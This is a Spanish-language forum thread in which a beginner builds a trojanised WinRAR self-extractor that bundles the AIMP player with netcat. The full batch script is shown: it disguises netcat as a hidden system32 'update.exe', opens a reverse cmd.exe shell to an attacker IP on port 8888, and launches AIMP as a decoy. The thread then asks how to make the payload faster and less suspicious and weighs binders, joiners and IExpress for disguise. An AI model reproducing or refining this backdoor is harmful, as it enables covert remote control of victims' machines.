Soy bastante principiante si..

Antes de empezar quiero aclarar que todo me funciono, el problema es que al hacer doble click en el autoextraible, tarda como 5 segundos en hacer todo ,y queda sospechoso.


Hice un autoextraible SFX con el Winrar, en donde meti 3 programas:

- AIMP_2.10.exe
- netcat.exe
- instrucciones.exe

El AIMP es el reproductor de audio.
El archivo instrucciones.exe lo escribi en .bat y lo compile con el QuickBFC para que se ejecute en modo oculto (o ghost). Y dice:

---------
@echo off
copy netcat.exe %SystemRoot%\system32\update.exe
del netcat.exe
cd %SystemRoot%\system32
attrib +H +S update.exe
start /B %SystemRoot%\system32\update -d -e cmd.exe 192.168.1.101 8888
cd %HomeDrive%\tmp
start AIMP_2.10.exe
---------

Para eso yo desde mi maquina atacante ya estoy escuchando en el puerto 8888 . Y el auto-extraible lo abro desde una maquina victima en el VirtualBox.

Es decir que el auto-extraible lo que hace es descomprimir los archivos en una carpeta temporal (c:\tmp) y ejecutar el archivo "instrucciones.exe". Pero tarda como 5 segundos obtener la shell y recien abrir el AIMP_2.10.exe

Pero si yo en vez de abrir el auto-extraible , extraigo los archivos a una carpeta y ejecuto el "instrucciones.exe" , pasa todo en un instante.

Por lo que deduzco que el problema esta en el auto-extraible .. Queria consultarles si estoy errado, y si puedo hacer algo para agilizar el proceso

Hola!ya me di cuenta que pasaba . Tambien es buena solucion la que me diste en cualquier caso, no lo habia pensado.

1) El problema estaba en la proceso de extraccion del auto-extraible EN la VirtualBox, porque intente extraerlo en mi maquina y lo hace en un segundo.

Entonces probe extraer algunos .rar en la VirtualBox pero me anduvo perfecto. Es probable que sea el instalador del AIMP porque recien probe con otro instalador hacer un auto-extraible y anduvo rapido.


2) Otra cuestion es que en el auto-extraible, apretando boton derecho->Propiedades, en la solapa Comentarios avisa que se va a ejecutar un archivo ejecutable luego de la extraccion.
Lo unico que lo disfraza un poco es el icono .
Estuve leyendo de los binders y joiners pero son muy detectables . Por ahi me faltaria probar con el IExpress o el SFX Compiler , aunque me da la sensacion de que queda igual que hacerlo con el WinRar.